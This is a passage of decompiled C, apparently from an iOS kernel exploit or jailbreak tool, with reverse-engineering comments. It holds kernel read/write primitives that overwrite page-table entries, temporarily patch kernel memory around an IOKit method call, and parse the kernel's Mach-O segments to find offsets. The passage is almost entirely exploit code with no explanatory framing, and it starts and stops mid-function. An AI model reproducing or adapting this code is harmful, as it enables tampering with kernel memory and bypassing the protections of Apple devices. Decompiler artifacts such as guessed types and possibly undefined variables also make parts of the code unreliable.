      pgtable_walk_wrapper(a1, v18 & ~*(uint64_t *)(a1 + 392), (__int64)v23);
      if ( v20 && (v24 & 0xFFFFFFFFC000LL) != 0 )
      {
        *(uint64_t *)&size[1] = v24 & 0xFFFFFFFFC000LL | 0x460000000000603LL;
        if ( (unsigned int)kwrite_with_retry(a1, v17, (__int64)&size[1], 8) )
        {
          if ( v14 )
            v3[161] = v19;
LABEL_29:
          v23[0] = a3 | 0x60000000000443LL;
          if ( (unsigned int)kwrite_with_retry(a1, v19 + ((a2 >> 11) & 0x3FF8), (__int64)v23, 8) )
            return 0;
          else
            return 163856;
        }
        v13 = 163856;
      }
      map_shared_mem_and_transfer_data(a1, v19, size[0]);
      return v13;
    }
    if ( v5 >= 0x1FFC001 )
    {
      if ( v14 )
      {
        v19 = v3[161];
      }
      else
      {
        v19 = read_cryptex_manifest((struct_krwCtx *)a1, size[1] & 0xFFFFFFFFC000LL);
        if ( !v19 )
          return v13;
      }
    }
    else
    {
      v19 = v3[160];
    }
    goto LABEL_29;
  }
  return v13;
}
// 19284: variable 'v20' is possibly undefined

//----- (0000000000019354) ----------------------------------------------------
__int64 __fastcall setup_macho_section_dispatch(__int64 result, __int64 a2, int a3)
{
  uint64_t *v3; // x8
  __int64 v4; // x10
  __int64 v5; // x9
  uint64_t *v6; // x8

  v3 = *(uint64_t **)(result + 7512);
  v4 = v3[75];
  v5 = v3[76];
  v6 = (uint64_t *)v3[85];
  *(uint64_t *)v4 = v5 + 512;
  *(uint32_t *)(v4 + 512) = 9;
  *(uint32_t *)(v4 + 12) = 10;
  *(uint32_t *)(v4 + 32) = 1;
  *(uint32_t *)(v4 + 40) = 1;
  *(uint64_t *)(v4 + 44) = v5 + 768;
  *(uint32_t *)(v4 + 76) = 0;
  *(uint32_t *)(v4 + 112) = 0;
  *(uint64_t *)(v4 + 768) = a2;
  *(uint32_t *)(v4 + 784) = a3;
  *(uint64_t *)(v4 + 1024) = v5;
  *(uint64_t *)(v4 + 1176) = v5;
  *(uint64_t *)(v4 + 1184) = v5;
  while ( *v6 )
    ;
  *v6 = v5 + 1024;
  return result;
}

//----- (00000000000193C0) ----------------------------------------------------
__int64 __fastcall get_kernel_version_build_0(__int64 a1, __int64 a2, int a3)
{
  __int64 v6; // x24
  __int64 v7; // x0
  __int64 v8; // x23
  __int64 v9; // x19
  int v10; // w8
  __int64 v11; // x9
  unsigned int v12; // w21
  kern_return_t v13; // w0
  uint8_t v15[8]; // [xsp+18h] [xbp-D8h] BYREF
  __int64 v16; // [xsp+20h] [xbp-D0h] BYREF
  unsigned int v17; // [xsp+2Ch] [xbp-C4h] BYREF
  int v18; // [xsp+30h] [xbp-C0h] BYREF
  int v19; // [xsp+34h] [xbp-BCh] BYREF
  __int16 v20[2]; // [xsp+38h] [xbp-B8h] BYREF
  unsigned int v21; // [xsp+3Ch] [xbp-B4h] BYREF
  __int64 v22; // [xsp+40h] [xbp-B0h] BYREF
  __int64 v23; // [xsp+48h] [xbp-A8h] BYREF
  __int64 inputStruct; // [xsp+50h] [xbp-A0h] BYREF
  __int128 v25; // [xsp+58h] [xbp-98h]
  __int128 v26; // [xsp+68h] [xbp-88h]
  __int128 v27; // [xsp+78h] [xbp-78h]
  uint64_t input; // [xsp+88h] [xbp-68h] BYREF
  __int128 v29; // [xsp+90h] [xbp-60h]
  __int64 v30; // [xsp+A0h] [xbp-50h]

  v23 = a2;
  v6 = *(uint64_t *)(a1 + 7512);
  v21 = 0x4000;
  v7 = alloc_physmap_page(a1, &v21);
  if ( !v7 )
    return 708617;
  v8 = v7;
  v9 = 163856;
  v20[0] = 256;
  if ( (unsigned int)kwrite_with_retry(a1, v7, (__int64)v20, 2) )
  {
    if ( !kread_physmap_decorated(
            (struct_krwCtx *)a1,
            *(uint64_t *)(v6 + 232) + *(unsigned int *)(v6 + 184),
            (unsigned __int64 *)&v22)
      || !(unsigned int)krw_read_thunk(
                          (struct_krwCtx *)a1,
                          *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 180),
                          4,
                          &v19)
      || !(unsigned int)krw_read_thunk(
                          (struct_krwCtx *)a1,
                          *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 196),
                          4,
                          &v18)
      || !(unsigned int)krw_read_thunk(
                          (struct_krwCtx *)a1,
                          *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 192),
                          4,
                          &v17)
      || !kread_physmap_decorated(
            (struct_krwCtx *)a1,
            *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 188),
            (unsigned __int64 *)&v16) )
    {
      return 163855;
    }
    if ( !v16 )
      return 0xFFFFFFFFLL;
    if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v16 + *(unsigned int *)(v6 + 172), 8, v15) )
    {
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
        v10 = 65539;
      else
        v10 = 65538;
      v11 = *(uint64_t *)(v6 + 152);
      *(uint32_t *)v11 = v10;
      *(uint32_t *)(v11 + 4) = 16;
      *(uint16_t *)(v11 + 8) = 0;
      *(__int128 *)(*(uint64_t *)(v6 + 160) + 8LL) = xmmword_43200;
      input = *(unsigned int *)(v6 + 12);
      v29 = xmmword_43750;
      v30 = 56;
      v26 = 0u;
      v27 = 0u;
      v25 = 0u;
      inputStruct = *(uint64_t *)(v6 + 28);
      v23 = a2 - v17;
      if ( kwrite64((struct_krwCtx *)a1, *(uint64_t *)(v6 + 232) + *(unsigned int *)(v6 + 184), v8) )
      {
        if ( noppl_kwrite32(a1, *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 180), 1) )
        {
          if ( noppl_kwrite32(a1, *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 196), a3 - 256) )
          {
            v12 = 163856;
            if ( (unsigned int)kwrite_with_retry(a1, v16 + *(unsigned int *)(v6 + 172), (__int64)&v23, 8) )
            {
              v13 = IOConnectCallMethod(*(uint32_t *)(v6 + 8), 0x1Au, &input, 4u, &inputStruct, 0x38u, 0, 0, 0, 0);
              v12 = v13 ? v13 | 0x80000000 : 0;
              if ( !(unsigned int)kwrite_with_retry(a1, v16 + *(unsigned int *)(v6 + 172), (__int64)v15, 8) )
                v12 = 163856;
            }
            if ( !noppl_kwrite32(a1, *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 196), v18) )
              v12 = 163856;
          }
          else
          {
            v12 = 163856;
          }
          if ( !noppl_kwrite32(a1, *(uint64_t *)(v6 + 240) + *(unsigned int *)(v6 + 180), v19) )
            v12 = 163856;
        }
        else
        {
          v12 = 163856;
        }
        if ( kwrite64((struct_krwCtx *)a1, *(uint64_t *)(v6 + 232) + *(unsigned int *)(v6 + 184), v22) )
          return v12;
        else
          return 163856;
      }
    }
    else
    {
      return 163855;
    }
  }
  return v9;
}
// 43200: using guessed type __int128 xmmword_43200;
// 43750: using guessed type __int128 xmmword_43750;

//----- (000000000001972C) ----------------------------------------------------
__int64 __fastcall validate_kaddr_range(__int64 a1, __int64 a2)
{
  if ( (a2 & 7) != 0 || (unsigned __int64)(a2 + 0x1000000000000LL) >= 0xFFFFFFFFEFFFLL )
    return 0LL;
  else
    return a2;
}

//----- (000000000001974C) ----------------------------------------------------
unsigned __int64 __fastcall check_kaddr_in_physmap(struct_krwCtx *krwCtx, unsigned __int64 vaddr)
{
  __int64 v2; // x8
  uint64_t *i; // x9
  unsigned __int64 v4; // x10
  bool v5; // zf
  bool v6; // cc

  if ( vaddr + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL )
  {
    v2 = LODWORD(((uint32_t *)&krwCtx->someMutex)[711]);
    if ( (uint32_t)v2 )
    {
      for ( i = (pthread_mutex_t *)(((uint32_t *)&krwCtx->someMutex) + 758); ; i += 3 )
      {
        v4 = *(i - 1);
        v5 = !v4 || *i == 0;
        v6 = v5 || v4 > vaddr;
        if ( !v6 && *i + v4 > vaddr )
          break;
        if ( !--v2 )
          return 0LL;
      }
    }
    else
    {
      return 0LL;
    }
  }
  return vaddr;
}

//----- (00000000000197A8) ----------------------------------------------------
sub_197A8_result macho_find_segment(SearchObj *a1, int /*unused*/ a2)
{
    // ldp x9, x8, [x0]
    void    *obj    = a1->field_0x00;   // x9: the search object
    uint8_t *cursor = a1->base_ptr;   // x8: current search cursor (vm address)

    // ldr x12, [x9]  →  data array base pointer
    uint8_t *data_base = *(uint8_t **)obj;  // x12

    // Find current segment: index stored at [obj+0xc8]
    // Entry i is at data_base + i*56, fields at +0x20 (start) and +0x28 (size)
    uint32_t seg_idx = *(uint32_t *)((uint8_t *)obj + 0xc8);  // w10
    uint8_t *seg_entry = data_base + (uint64_t)seg_idx * 56;

    uint64_t seg_start = *(uint64_t *)(seg_entry + 0x20);  // ldp x11,x10,[x10+0x20]
    uint64_t seg_size  = *(uint64_t *)(seg_entry + 0x28);

    // Check if cursor is within current segment
    if ((uint64_t)cursor - seg_start >= seg_size) {
        // Current segment miss — search all segments
        uint32_t seg_count = *(uint32_t *)((uint8_t *)obj + 0x8);  // [x9+0x8]
        if (seg_count == 0)
            return (sub_197A8_result){0, 0};

        // Walk segment array starting at data_base+0x20
        // Each entry: [base+0x20]=start, [base+0x28]=size, stride=0x38
        uint8_t *entry = data_base + 0x20;  // x12 = data_base+0x28, ldp at -0x8
        uint32_t i = 0;
        for (;;) {
            uint64_t s_start = *(uint64_t *)(entry - 0x8); // ldp x13,x14,[x12,-0x8]
            uint64_t s_size  = *(uint64_t *)(entry);

            if ((uint64_t)cursor - s_start < s_size) {
                // Found containing segment
                *(uint32_t *)((uint8_t *)obj + 0xc8) = i;  // str w11,[x9,#0xc8]
                break;
            }

            i++;
            entry += 0x38;  // next segment

            if (i == seg_count)
                return (sub_197A8_result){0, 0};
        }
    }

    // Optional indirection: if [obj+0x101] != 0, follow pointer at [obj+0xa8]
    void *mapped_obj = obj;
    if (*(uint8_t *)((uint8_t *)obj + 0x101)) {
        mapped_obj = *(void **)((uint8_t *)obj + 0xa8);  // ldr x9,[x9,#0xa8]
    }

    // Compute offset of cursor within mapped region
    // [mapped_obj+0xf0] = mapped base address
    uint64_t mapped_base   = *(uint64_t *)((uint8_t *)mapped_obj + 0xf0);
    uint64_t offset        = (uint64_t)cursor - mapped_base;  // sub x8,x8,x10

    // [mapped_obj+0xb0] = minimum valid offset (start threshold)
    uint64_t min_offset    = *(uint64_t *)((uint8_t *)mapped_obj + 0xb0);
    if (min_offset > offset)
        return (sub_197A8_result){0, 0};

    // Check requested size fits within remaining mapped region
    // a1[2] = requested size
    uint64_t requested     = a1->size;                  // ldr x1,[x0,#0x10]

    // [mapped_obj+0xb8] = mapped region size
    uint64_t mapped_size   = *(uint64_t *)((uint8_t *)mapped_obj + 0xb8);
    uint64_t available     = min_offset + mapped_size - offset; // add+sub
    printf("min 0x%x map 0x%x off 0x%x ; available 0x%x requested 0x%x\n", min_offset, mapped_size, offset, available, requested);

    if (requested > available)
        return (sub_197A8_result){0, 0};

    // Return: x0=offset (relative to mapped_base), x1=requested size
    return (sub_197A8_result){offset, requested};
}

//----- (000000000001984C) ----------------------------------------------------
__int64 get_const_8()
{
  return 8LL;
}

//----- (0000000000019854) ----------------------------------------------------
__int64 __fastcall unmap_macho_image(__int64 a1)
{
  __int64 result; // x0
  uint8_t *v3; // x9
  vm_size_t v4; // x2
  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF

  if ( *(uint8_t *)(a1 + 257) )
    return 0;
  v3 = *(uint8_t **)(a1 + 264);
  if ( !v3 )
    return 4;
  if ( !*(uint64_t *)(a1 + 176) )
    return 4;
  v4 = *(uint64_t *)(a1 + 184);
  if ( !v4 )
    return 4;
  if ( (*v3 & 2) == 0 )
    return 0;
  address = *(uint64_t *)(a1 + 176);
  result = vm_allocate(mach_task_self_, &address, v4, 0x4000);
  if ( !(uint32_t)result )
  {
    bzero(
      *(void **)(a1 + 264),
      ((*(int *)(a1 + 56) + *(uint64_t *)(a1 + 232) - 1LL) & (unsigned __int64)-*(uint32_t *)(a1 + 56)) / *(int *)(a1 + 56));
    return 0;
  }
  return result;
}

//----- (00000000000198FC) ----------------------------------------------------
__int64 __fastcall macho_walk_segment_by_name_impl(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5)
{
  __int64 v9; // x23
  unsigned __int64 v10; // x24
  __int64 result; // x0
  __int64 v12; // x10
  __int64 v13; // x9
  unsigned __int64 v14; // x10
  unsigned __int64 v15; // x19
  unsigned __int64 v16; // x26
  unsigned __int64 v17; // x25

  v9 = a1;
  if ( *(uint8_t *)(a1 + 257) )
    v9 = *(uint64_t *)(a1 + 168);
  v10 = *(uint64_t *)(v9 + 176);
  if ( v10 > a2 || a2 + a3 > *(uint64_t *)(v9 + 184) + v10 )
    return 3;
  result = 0;
  v12 = *(int *)(v9 + 56);
  v13 = v12 + a2 + a3;
  v14 = -(int)v12;
  v15 = v14 & a2;
  v16 = --v13 & v14;
  if ( (v13 & v14) > (v14 & a2) )
  {
    v17 = *(int *)(a1 + 56);
    while ( (*(uint8_t *)(*(uint64_t *)(v9 + 264) + (v15 - v10) / v17) & 1) != 0 && (a5 & 1) == 0 )
    {
      v15 += v17;
      if ( v16 <= v15 )
        return 0;
    }
    if ( has_valid_krw_path((struct_krwCtx *)*(uint64_t *)(v9 + 280))
      && krw_ctx_has_read_caps((struct_krwCtx *)*(uint64_t *)(v9 + 280))
      && (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) > *(uint32_t *)(v9 + 56)
      && v16 - v15 < (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280))
      && a4 > a3 )
    {
      v16 = (*(int *)(v9 + 56) + a2 + a4 - 1) & -*(uint32_t *)(v9 + 56);
      if ( v16 > v15 + (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) )
        v16 = v15 + (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280));
    }
    if ( (unsigned int)krw_read_thunk(
                         *(struct_krwCtx **)(v9 + 280),
                         *(uint64_t *)(v9 + 224) - v10 + v15,
                         v16 - v15,
                         (void *)v15) )
    {
      for ( ; v15 < v16; v15 += v17 )
        *(uint8_t *)(*(uint64_t *)(v9 + 264) + (v15 - v10) / v17) |= 1u;
      result = 0;
      **(uint8_t **)(v9 + 264) |= 2u;
    }
    else
    {
      return 5;
    }
  }
  return result;
}

//----- (0000000000019AC4) ----------------------------------------------------
__int64 __fastcall macho_walk_segment_by_name_0(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4)
{
  return macho_walk_segment_by_name_impl(a1, a2, a3, a4, 0);
}

//----- (0000000000019ACC) ----------------------------------------------------
unsigned int __fastcall macho_read_u32(__int64 *a1, __int64 *a2)
{
    SearchObj v5 = {a1, a2, 4};
    unsigned int *result = (unsigned int *)macho_find_segment(&v5, 1).addr;
    if ( !result ) return 0;
    macho_walk_segment_by_name_impl((__int64)a1, (unsigned __int64)result, 4u, 0, 0);
    return *result;
}
// 4: using guessed type int dword_4;

//----- (0000000000019B30) ----------------------------------------------------
unsigned __int64 __fastcall macho_read_u64(__int64 *a1, __int64 *a2)
{
    SearchObj v5 = {a1, a2, 8};
    unsigned __int64 *result = (unsigned __int64 *)macho_find_segment(&v5, 1).addr;
    if ( !result ) return 0;
    macho_walk_segment_by_name_impl((__int64)a1, (unsigned __int64)result, 8, 0, 0);
    return *result;
}
// 8: using guessed type int dword_8;

//----- (0000000000019B98) ----------------------------------------------------
void __usercall macho_walk_segment_by_name(char *s2, __int64 a2, SearchObj *a3)
{
  __int64 v4; // x8
  unsigned __int64 v5; // x22
  __int64 v6; // x8
  unsigned __int64 v7; // x23
  __int128 result; // q0

  v4 = **(uint64_t **)(a2 + 208);
  v5 = v4 + 32;
  v6 = *(unsigned int *)(v4 + 20);
  v7 = v5 + v6;
  if ( v5 >= v5 + v6 )
  {
LABEL_5:
    a3->field_0x00 = 0LL;
    a3->base_ptr = 0LL;
    a3->size = 0LL;
  }
  else
  {
    while ( *(uint32_t *)v5 != 25 || strncmp((const char *)(v5 + 8), s2, 0x10uLL) )
    {
      v5 += *(unsigned int *)(v5 + 4);
      if ( v5 >= v7 )
        goto LABEL_5;
    }
    a3->field_0x00 = a2;
    result = *(__int128 *)(v5 + 24);
    *(__int128 *)&a3->base_ptr = result;
  }
  //return result;
}

//----- (0000000000019C34) ----------------------------------------------------
__n128 macho_getsectbyname(char *seg, __int64 a2, const char *sect, uint64_t *a4)
{
  __int64 v5; // x8
  unsigned __int64 v6; // x24
  __int64 v7; // x8
  unsigned __int64 v8; // x25
  __n128 result; // q0
  __int64 v13; // x26
  __n128 *v14; // x23

  v5 = **(uint64_t **)(a2 + 208);
  v6 = v5 + 32;
  v7 = *(unsigned int *)(v5 + 20);
  v8 = v6 + v7;
  if ( v6 >= v6 + v7 )
  {
LABEL_11:
    *a4 = 0;
    a4[1] = 0;
    a4[2] = 0;
  }
  else
  {
    while ( 1 )
    {
      if ( *(uint32_t *)v6 == 25 && !strncmp((const char *)(v6 + 8), seg, 0x10u) )
      {
        v13 = *(unsigned int *)(v6 + 64);
        if ( (uint32_t)v13 )
          break;
      }
LABEL_4:
      v6 += *(unsigned int *)(v6 + 4);
      if ( v6 >= v8 )
        goto LABEL_11;
    }
    v14 = (__n128 *)(v6 + 72);
    while ( strncmp((const char *)v14, sect, 0x10u) )
    {
      v14 += 5;
      if ( !--v13 )
        goto LABEL_4;
    }
    *a4 = a2;
    result = v14[2];
    *(__n128 *)(a4 + 1) = result;
  }
  return result;
}

//----- (0000000000019D10) ----------------------------------------------------
double macho_find_text_section(__int64 a1, uint64_t *a2)
{
  double result; // d0

  *(uint64_t *)&result = macho_getsectbyname((char *)*(uint64_t *)(a1 + 272), a1, "__text", a2).n128_u64[0];
  return result;
}

//----- (0000000000019D20) ----------------------------------------------------
__int64 __fastcall macho_find_loadcmd_by_name(__int64 a1, char *__s2, unsigned __int64 a3)
{
  __int64 v3; // x8
  unsigned __int64 v4; // x21
  __int64 v5; // x8
  unsigned __int64 i; // x22
  __int64 v9; // x8
  unsigned int v10; // w24
  const char *v12; // x0
  unsigned __int64 v13; // x8
  size_t v14; // x2

  v3 = **(uint64_t **)(a1 + 208);
  v4 = v3 + 32;
  v5 = *(unsigned int *)(v3 + 20);
  for ( i = v4 + v5; v4 < i; v4 += v10 )
  {
    if ( *(uint32_t *)v4 == -2147483595 )
    {
      v9 = *(unsigned int *)(v4 + 24);
      v10 = *(uint32_t *)(v4 + 4);
      if ( (unsigned int)v9 >= 0x20 && v10 > (unsigned int)v9 )
      {
        v12 = (const char *)(v4 + v9);
        v13 = v10 - (unsigned int)v9;
        v14 = v13 <= a3 ? v13 : a3;
        if ( !strncmp(v12, __s2, v14) )
          return *(uint64_t *)(v4 + 8);
      }
    }
    else
    {
      v10 = *(uint32_t *)(v4 + 4);
    }
  }
  return 0;
}

//----- (0000000000019DD4) ----------------------------------------------------
double __fastcall krw_ctx_zero_fields(struct_a1 *a1, __int64 a2)
{
  double result; // d0

  result = 0.0;
  a1->oword100 = 0u;
  a1->oword110 = 0u;
  a1->owordE0 = 0u;
  a1->owordF0 = 0u;
  a1->owordC0 = 0u;
  a1->owordD0 = 0u;
  a1->owordA0 = 0u;
  a1->owordB0 = 0u;
  a1->oword80 = 0u;
  a1->oword90 = 0u;
  a1->oword60 = 0u;
  a1->xnuMajorVersion = 0u;
  a1->oword40 = 0u;
  a1->oword50 = 0u;
  a1->oword20 = 0u;
  a1->oword30 = 0u;
  a1->oword0 = 0u;
  a1->oword10 = 0u;
  *((uint64_t *)&a1->oword110 + 1) = a2;
  a1->qword120 = 0LL;
  return result;
}

//----- (0000000000019E04) ----------------------------------------------------
__int64 __fastcall free_macho_image_vm(__int64 a1)
{
  vm_address_t v1; // x1
  uint64_t *v2; // x19
  vm_size_t v3; // x2

  v2 = (uint64_t *)(a1 + 176);
  v1 = *(uint64_t *)(a1 + 176);
  if ( !v1 )
    return 0;
  v3 = *(uint64_t *)(a1 + 184);
  if ( !v3 || vm_deallocate(mach_task_self_, v1, v3) )
    return 0;
  *v2 = 0;
  v2[1] = 0;
  return 1;
}

//----- (0000000000019E58) ----------------------------------------------------
bool __fastcall map_macho_image_vm(__int64 a1)
{
  kern_return_t v2; // w8
  uint64_t result; // x0
  vm_address_t v4; // x1
  vm_size_t v5; // x2
  vm_address_t v6; // x8
  __int64 v7; // x9
  __int64 v8; // x10
  void *v9; // x0
  vm_address_t address; // [xsp+18h] [xbp-18h] BYREF

  address = 0;
  v2 = vm_map(mach_task_self_, &address, *(uint64_t *)(a1 + 232), *(int *)(a1 + 56) - 1LL, 1, 0, 0, 0, 3, 3, 1u);
  result = 0;
  if ( !v2 )
  {
    v4 = *(uint64_t *)(a1 + 176);
    if ( v4 )
    {
      v5 = *(uint64_t *)(a1 + 184);
      if ( v5 )
        vm_deallocate(mach_task_self_, v4, v5);
    }
    v6 = address;
    v8 = *(uint64_t *)(a1 + 224);
    v7 = *(uint64_t *)(a1 + 232);
    *(uint64_t *)(a1 + 176) = address;
    *(uint64_t *)(a1 + 184) = v7;
    *(uint64_t *)(a1 + 240) = v8 - v6;
    v9 = calloc(((*(int *)(a1 + 56) + v7 - 1) & (unsigned __int64)-*(uint32_t *)(a1 + 56)) / *(int *)(a1 + 56), 1u);
    *(uint64_t *)(a1 + 264) = v9;
    return v9 != 0;
  }
  return result;
}

//----- (0000000000019F2C) ----------------------------------------------------
bool __fastcall alloc_kernel_offset_table(__int64 a1, __int64 a2)
{
  unsigned __int64 v5; // x21
  uint32_t *v6; // x22
  char v7; // w8
  __int64 v8; // x8
  char *v9; // x21
  char *v10; // x22
  __int64 v11; // x23
  char *v12; // x24
  __int64 v13; // x8
  uint64_t *v14; // x9
  uint32_t v15[8]; // [xsp+0h] [xbp-50h] BYREF

  *(uint64_t *)(a1 + 208) = (uint64_t)calloc(0x48u, 1u);
  if ( *(uint64_t *)(a1 + 208) )
  {
    if ( krw_read_thunk(*(struct_krwCtx **)(a1 + 280), a2, 32, v15) )
    {
      v5 = v15[5] + 32LL;
      v6 = calloc(v5, 1u);
      if ( v6 )
      {
        if ( krw_read_thunk(*(struct_krwCtx **)(a1 + 280), a2, v5, v6) )
        {
          **(uint64_t **)(a1 + 208) = v6;
          if ( *v6 == -17958194 )
          {
            v7 = 4;
          }
          else
          {
            if ( *v6 != -17958193 )
              return false;
            v7 = 8;
          }
          *(uint8_t *)(a1 + 52) = v7;
          v8 = (unsigned int)v6[5];
          if ( v5 < (unsigned int)(v8 + 32) )
            return false;
          v9 = (char *)(v6 + 8);
          v10 = (char *)v6 + v8 + 32;
          if ( v9 >= v10 )
          {
            return true;
          }
          else
          {
            v11 = 0;
            v12 = v9;
            do
            {
              if ( *(uint32_t *)v12 == 25 && !strcmp(v12 + 8, "__TEXT") )
                v11 = a2 - *((uint64_t *)v12 + 3);
              v12 += *((unsigned int *)v12 + 1);
            }
            while ( v12 < v10 );
            if ( v11 && v9 < v10 )
            {
              do
              {
                if ( *(uint32_t *)v9 == 25 )
                {
                  v13 = *((unsigned int *)v9 + 16);
                  if ( (uint32_t)v13 )
                  {
                    v14 = v9 + 104;
                    do
                    {
                      *v14 += v11;
                      v14 += 10;
                      --v13;
                    }
                    while ( v13 );
                  }
                  *((uint64_t *)v9 + 3) += v11;
                }
                v9 += *((unsigned int *)v9 + 1);
              }
              while ( v9 < v10 );
            }
            return true;
          }
        }
      }
    }
  }
  return false;
}
// 0: using guessed type int def_3E8F0;

//----- (000000000001A0D4) ----------------------------------------------------
bool __fastcall iosurface_physmap_setup_bool(__int64 a1, int a2, __int64 a3, unsigned int a4)
{
  return iosurface_physmap_setup(a1, a2, a3, a4);
}

//----- (000000000001A0F4) ----------------------------------------------------
bool __fastcall iosurface_physmap_setup(__int64 a1, int a2, __int64 a3, unsigned int a4)
{
  bool result; // w0
  __int64 v9; // x23
  int *v10; // x9
  __int64 v11; // x24
  unsigned __int64 v12; // x10
  unsigned __int64 v13; // x11
  unsigned int v16; // w8
  unsigned __int64 v17; // x14
  int v18; // w16
  unsigned int v19; // w15
  unsigned __int64 v20; // x25
  unsigned __int64 v21; // x24
  __int64 v22; // x22
  __int128 v23; // q0
  __int128 v24; // q0
  __int64 v25; // x8
  int8x16_t *v26; // x8
  int8x16_t *v27; // x27
  __int64 v28; // x8
  int8x16_t *v29; // x24
  unsigned __int64 v30; // x26
  int v31; // w22
  int v32; // w23
  unsigned __int64 v33; // x28
  __int64 v34; // x8
  unsigned __int64 v35; // x8
  unsigned __int64 v36; // x8
  __int64 v38; // x8
  int8x16_t v39; // q1
  unsigned __int64 v40; // x8
  unsigned __int64 v41; // x9
  bool v42; // cf
  unsigned __int64 v43; // x9
  void *segments; // x0
  __int64 v44; // [xsp+0h] [xbp-70h]
  uint64_t v45[3]; // [xsp+8h] [xbp-68h] BYREF

  result = alloc_kernel_offset_table(a1, a3);
  if ( !result )
    return result;
  *(uint32_t *)(a1 + 216) = a2;
  *(uint8_t *)(a1 + 256) = 1;
  v9 = **(uint64_t **)(a1 + 208);
  v10 = (int *)(v9 + 32);
  v11 = *(unsigned int *)(v9 + 20);
  v12 = v9 + 32 + v11;
  v13 = v12 - 8;
  if ( v9 + 32 >= v12 || v9 + 40 > v12 || (unsigned __int64)v10 > v13 )
    return 0;
  v16 = 0;
  do
  {
    v17 = (unsigned int)v10[1];
    if ( (unsigned int)v17 < 8 || v12 - (unsigned __int64)v10 < v17 )
      break;
    v18 = *v10;
    v19 = 24;
    if ( *v10 <= 10 )
    {
      switch ( v18 )
      {
        case -2147483617:
          goto LABEL_26;
        case -2147483614:
LABEL_24:
          v19 = 48;
          goto LABEL_26;
        case 2:
          goto LABEL_26;
      }
    }
    else if ( v18 > 24 )
    {
      if ( v18 == 34 )
        goto LABEL_24;
      if ( v18 == 25 )
      {
        ++v16;
        v19 = 72;
        goto LABEL_26;
      }
    }
    else
    {
      if ( v18 == 11 )
      {
        v19 = 80;
LABEL_26:
        if ( (unsigned int)v17 < v19 )
          break;
        goto LABEL_27;
      }
      if ( v18 == 13 )
        goto LABEL_26;
    }
LABEL_27:
    v10 = (int *)((char *)v10 + v17);
  }
  while ( (unsigned __int64)v10 < v12 && (unsigned __int64)(v10 + 2) <= v12 && (unsigned __int64)v10 <= v13 );
  if ( !v16 )
    return 0;
  *(uint32_t *)(a1 + 8) = v16;
  segments = malloc(56LL * v16);
  *(uint64_t *)a1 = (uint64_t)segments;
  if ( !segments )
    return false;
  *(uint64_t *)(a1 + 272) = "__TEXT";
  v20 = v9 + 32;
  v21 = v9 + 32 + v11;
  if ( v9 + 32 < v21 )
  {
    v22 = (__int64)segments;
    do
    {
      if ( *(uint32_t *)v20 == 25 )
      {
        if ( *(unsigned int *)(v20 + 64) > ((unsigned __int64)*(unsigned int *)(v20 + 4) - 72) / 0x50 )
          return 0;
        if ( !strcmp((const char *)(v20 + 8), "__TEXT_EXEC") )
          *(uint64_t *)(a1 + 272) = "__TEXT_EXEC";
        v23 = *(__int128 *)(v20 + 40);
        *(uint64_t *)v22 = a1;
        *(__int128 *)(v22 + 8) = v23;
        v24 = *(__int128 *)(v20 + 24);
        *(uint64_t *)(v22 + 24) = a1;
        *(__int128 *)(v22 + 32) = v24;
        *(uint64_t *)(v22 + 48) = v20;
        v22 += 56;
      }
      v20 += *(unsigned int *)(v20 + 4);
    }
    while ( v20 < v21 );
    v9 = **(uint64_t **)(a1 + 208);
  }
  *(int32x2_t *)(a1 + 40) = vrev64_s32(*(int32x2_t *)(v9 + 4));
  *(uint32_t *)(a1 + 48) = *(uint32_t *)(v9 + 24);
  if ( (a4 & 0x100) != 0 )
  {
    macho_getsectbyname("__TEXT", a1, "__thread_starts", v45);
    if ( v45[2] )
      *(uint8_t *)(a1 + 156) = 1;
    if ( (a4 & 0x400) != 0 )
    {
      if ( *(uint64_t *)a1 )
      {
        v25 = *(uint64_t *)(*(uint64_t *)a1 + 8LL);
        if ( v25 )
          *(uint64_t *)(a1 + 160) = a3 - v25;
      }
    }
  }
  if ( (a4 & 0x40) != 0 )
    return true;
  v26 = **(int8x16_t ***)(a1 + 208);
  v27 = v26 + 2;
  v28 = v26[1].u32[1];
  v29 = (int8x16_t *)((char *)v27 + v28);
  if ( v27 >= (int8x16_t *)&v27->i8[v28] )
    return 0;
  v30 = 0;
  v31 = 0;
  v44 = *(int *)(a1 + 56) - 1LL;
  v32 = a4 & 0x580;
  v33 = a3;
  while ( 2 )
  {
    if ( v27->i32[0] == 25 )
    {
      if ( !strcmp(&v27->i8[8], "__TEXT") )
      {
        *(uint64_t *)(a1 + 248) = a3 - v27[1].i64[1];
        if ( (a4 & 0x100) != 0 )
          goto LABEL_54;
      }
      else if ( (a4 & 0x100) != 0 )
      {
LABEL_54:
        if ( !strcmp(&v27->i8[8], "__KLD") )
          v31 = KRW_CTX_FLAG_CPU_A12;
      }
      if ( v32 != 384 )
      {
        v34 = v27[2].i64[0];
        if ( v34 )
        {
          v35 = v27[1].i64[1] + v34;
          if ( v35 > v30 )
            v30 = v35;
        }
      }
      if ( (a4 & 0x400) != 0 && v27[2].i64[0] )
      {
        v36 = v27[1].u64[1];
        if ( v36 < v33 && v36 != 0 )
          v33 = v27[1].u64[1];
      }
      if ( !strcmp(&v27->i8[8], "__LINKEDIT") )
      {
        v38 = v27[1].i64[1];
        v39 = vextq_s8(v27[2], v27[2], 8u);
        if ( v32 == 384 )
          v30 = v27[2].i64[0] + v38;
        *(uint64_t *)(a1 + 16) = v38;
        *(int8x16_t *)(a1 + 24) = v39;
      }
    }
    v27 = (int8x16_t *)((char *)v27 + (unsigned int)v27->i32[1]);
